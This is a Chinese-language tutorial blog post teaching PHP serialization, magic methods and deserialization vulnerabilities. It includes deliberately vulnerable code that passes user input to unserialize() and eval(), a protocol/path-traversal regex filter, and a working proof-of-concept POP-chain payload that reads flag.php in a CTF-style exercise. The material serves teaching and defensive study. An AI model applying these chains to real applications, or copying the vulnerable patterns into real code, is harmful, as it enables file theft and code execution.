好久没有整理笔记了,一看堆在墙角的笔记着实有些。。。(啊,这是写了个啥!)恰好之前和一些小伙伴聊起反序列化的时候,就打算整理一份关于php反序列化基础入门的详细文章出来,赶早不如赶巧,突然就想“奋笔疾书”了,那就开始整理一份吧!希望对入门php反序列化基础的小伙伴有些作用!
大佬看到的话,也就别绕路了,还得多多指教啊!来,我们开始“造作”!
序列化就是将对象转换成字符串。字符串包括:属性名、属性值、属性类型和该对象对应的类名。简单的理解就是,再程序结束的时候,存在内存的记忆资料(变量,对象等)都会被立即销毁,但是有的时候,我们需要存储并传递一些持久类习性的数据时,就不能再将资料存储在内存里了,这时候,php序列化就将记忆资料的变量存储在了档案中(比如存储在mysql数据库中)
反序列化则相反的将字符串重新恢复成对象中的成员变量
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
序列化和反序列化在php应用系统中,一般被用作缓存(cookie、session缓存等)
<?php
class test{
public $flag = 'flag{RedSpeed}';
public $name = 'cxk';
public $age = '10';
}
$tester = new test;
$tester->flag = 'flag{helloworld}';
$tester->name = 'whiteH';
$tester->age='25';
echo serialize($tester);
?>
在调用serialize()函数的时候,函数会检查类中是否存在一个魔术方法__sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。那么,我们就可以在sleep()方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性。如上图所示,就是序列化所有属性的例子。
那么,接下来我们在__sleep()方法中,设定可以被序列化的属性,再观察现象。
<?php
class test{
public $flag = 'flag{RedSpeed}';
public $name = 'cxk';
public $age = '10';
public function __sleep(){
return array('flag','age');
}
}
$tester = new test;
$tester->flag = 'flag{helloworld}';
$tester->name = 'whiteH';
$tester->age='25';
echo serialize($tester);
?>
可以很明显的发现,并没有将name属性序列化,那么就说明,serialize()函数在被调用时,首先会先判断类中是否有sleep()函数,如果存在时会按照sleep()函数的属性序列化设置,来对对象进行序列化的。
根据访问控制修饰符的不同,序列化后的属性长度和属性值会有所不同。
public(公有)
protected(受保护) 被序列化的时候属性值会变成%00*%00属性名
private(私有的) 被序列化的时候属性值会变成%00类名%00属性名
注意:空白符也是有长度的,一个空字符的长度是1
<?php
class test{
public $flag = 'flag{RedSpeed}';
//public $name = 'cxk';
//public $age = '10';
protected $name = 'wty';
private $age = '50';
}
$tester = new test();
echo serialize($tester);
?>
反序列化函数unserialize()。
反序列化就是将一个序列化了的对象或数组字符串,还原回去
<?php
class Test{
public $flag = 'flag{****}';
public $name = 'wty';
public $age = '10';
}
$tester = new Test(); //实例化一个对象
$tester->flag = 'flag{ashjfkdhdg}';
$tester->name = 'WhiteH';
$tester->age = '18';
$str = serialize($tester);
echo $str;
echo '<pre>';
var_dump(unserialize($str));//调用反序列化函数,将str字符串转换成对象
?>
如上图所示,调用了unserialize()函数之后,函数将str字符串中存储的对象属性值按照规则转换成对象。
与序列化类似,unserialize()会检查类中是否存在一个__wakeup魔术方法,如果存在,则会先调用__wakeup()方法,再进行序列化。那么,我们就可以利用__wakeup()方法,对属性进行初始化、赋值或者改变。
作用:预先准备对象资源,返回void,常用于反序列化操作中重新简历数据库连接或执行其他初始化操作
<?php
class Test{
public $flag = 'flag{****}';
public $name = 'wty';
public $age = '10';
public function __wakeup(){
//调用wakeup方法的时候将flag属性的值改变
$this ->flag = "This is not a flag";
}
}
$tester = new Test(); //实例化一个对象
$tester->flag = 'flag{ashjfkdhdg}';
$tester->name = 'WhiteH';
$tester->age = '18';
$str = serialize($tester);
echo $str;
echo '<pre>';
var_dump(unserialize($str));//调用反序列化函数,将str字符串转换成对象
?>
如下图所示,在调用serialize函数进行序列化的时候,flag的值是最后被赋值的flag{ashjfkdhdg},然后调用反序列化函数unserialize()准备将字符串转换成对象,但是由于类中有wakeup方法,那么unserialize()函数最后会看其中对属性值的赋值和变化,从而得到了截图中的结果。
好了,通过上面的基础代码操作,我们已经知道了什么是序列化和反序列化,那么,接下来,我们就开始深入了解以下,php的反序列化漏洞吧!!!
通过上面的基本代码的操作,其实很容易就发现了,原本反序列化是没有任何问题的,它最初被设计出来的初衷就是对序列化之后字符串进行转换,方便数据的传输。但是,由于在应用系统中,一般进行传输的参数(用户输入)可能是可控的,那么,一旦在应用系统中,程序员并没有对用户输入的可控的序列化字符串进行一定规则的检测和过滤,就会导致一些恶意的攻击者通过控制反序列化的过程,导致代码执行、SQL注入等不可控的漏洞出现。
通过原理的分析,我们可以知道如果存在php反序列化漏洞必须要满足以下几个条件:
①unserialize()函数的参数、变量可控
②php文件中存在可以利用的类,类中有魔术方法
常见的魔术方法:
__construct():构造函数,在创建对象的时候触发,一般用于对变量赋初值
__destruct():对象被销毁的时候触发(或者程序退出的时候自动调用)
__call():在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法时触发
__callstatic():在静态上下文中调用不可访问的方法触发
__get():用于从不可访问的属性读取数据(不可访问包括私有属性,或者没有初始化的属性)
__set():用于将数据写入不可访问的属性(在给不可访问属性赋值时,即调用私有属性的时候会自动执行)
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
__invoke():当脚本尝试将对象调用为函数时触发
__sleep():在调用serialize()函数的时候会调用
__wakeup():在调用unserialize()函数的时候会调用
_toString():当一个对象被当作一个字符串调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
该方法用于一个类被当成字符串时应怎样回应。比如:echo $对象;应该输出什么?
这个方法会默认返回一个字符串,否则将发出一条ERROR级别的致命错误。也就相当于一个类如果被当成字符串,那么就会调用重写或默认的__toString()方法,详细调用案例如下图所示:
那么,根据上面对反序列化过程的练习和分析不难发现,反序列化的过程,其功能就类似于考古学的对象复原,按照相对应的挖掘资料进行“文物”复现。
反序化安全问题例子1:
<?php
class A {
var $test = "demo";
function __destruct(){//对象被销毁的时候会被调用
echo $this->test;//输出test变量
}
}
$a = $_GET['test'];//接收用户输入的test变量,那么也就说明test变量可控
$a_unser = unserialize($a);//调用反序列化函数还原接收到的变量a
//那么就说明test便来能够必须是反序列化的格式
?>
通过对上面例子的分析,不难发现,很明显是存在反序列化对象注入问题的,因为魔术方法__destruct()中存在可控参数test
反序化安全问题例子2:
<?php
class A {
var $test = "demo";
function __destruct(){//对象被销毁的时候会被调用
@eval($this->test);//输出test变量
}
}
$test = $_POST['test'];//接收用户输入的test变量,那么也就说明test变量可控
$len = strlen($test)+1;
$pp = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}";
$test_unser = unserialize($pp);
?>
此时,通过源代码分析不难发现,要进行反序列化的字符串就变成了:
$pp=O:1:A:1{s:4:test;s:9:phpinfo();}
而当程序执行完毕后,回自动调用__destruct()魔术方法进行对象销毁,其中恰好存在eval()函数执行命令,当test参数值被传入后,自然而然就达到了攻击者的目的。
POP(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者恶意利用的目的。其实,就是反序列化是通过控制对象的(可控)属性从而实现控制程序执行流程,进而达成利用本身无害的代码进行有害操作的目的。
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
//当脚本尝试将对象调用为函数时触发
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show{
//两个成员变量
public $source;
public $str;
//__construct魔术方法,创建对象的时候默认传参的文件是index.php文件
public function __construct($file='index.php'){
$this->source=$file;
echo $this->source.'Welcome'."<br>";
}
//__toString()方法,当对象被当作字符串的时候会调用该魔术方法
public function __toString(){
return $this->str['str']->source;
}
public function _show(){
if(preg_match("/gopher|http|ftp|https|dict|\.\.|flag|file/i",$this->source)){
die('hacker');
}else{
highlight_file($this->source);
}
}
//__wakeup()魔术方法,在调用unserialize()方法的时候被调用
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
class Test{
public $p;
public function __construct(){
$this->p=array();
}
public function __get(){
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello'])){ //判断接受参数hello是否传参
unserialize($_GET['hello']); //调用反序列化函数unserialize()对传输的参数进行反序列化
}else{ //如果没有传参的话
$show = new Show("pop3.php");//创建show对象(运行到这,再去分析一下Show类)
$show->_show();
}
?>
通过上面的源代码的含义分析,我们可以发现,这个源码中,我们的可控参数是hello参数,然后,在接收到传递的hello参数后,调用了unserialize()函数,那么因为在调用unserialize()函数的时候会自动调用__wakeup()方法,也就是说,当函数执行到unserialize()这部的时候,会跳到对应的__wakeup()函数位置,去执行相对应的逻辑。那么,上面的源码中只有Show类中存在__wakeup()魔术方法,那么,我们就去对应的位置去分析:
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
这个方法中会对$this->source进行正则匹配,也就是说$this->source被当成了字符串来处理,那么这个时候就会自动调用__toString()方法。
public function __toString(){
return $this->str['str']->source;
}
}
__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法,可以将source序列化为Show类的对象
public function __get(){
$function = $this->p;
return $function();
}
}
该魔术方法会调用一个$p变量,后面会将这个p变量当作函数来使用,而当脚本尝试将对象当作函数使用时,默认自动调用__invoke()魔术方法:
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
这时候,invoke()函数就触发了file_get()函数
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
最终达到读取文件的目标!!!
那么,通过上面的分析不难发现,POP链如下:
hello-->unserialize函数–>__wakeup()魔术方法–>__tostring()魔术方法–>__get魔术方法–>__invoke魔术方法–>触发file_get方法–>触发file_get_contents函数
POC如下:
<?php
class Read {
public $var="flag.php";
}
class Show
{
public $source;
public $str;
}
class Test
{
public $p;
}
$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;
echo serialize($show);
?>
那么,通过上面的分析,我们不难发现,其实构造反序列化的POP链就是利用可控参数去触发敏感的魔法函数,最终达到恶意攻击的目的的思考方式。
好了就先到这吧,小的我也就这么点思考能力了,还是欢迎大家互相交流的哦!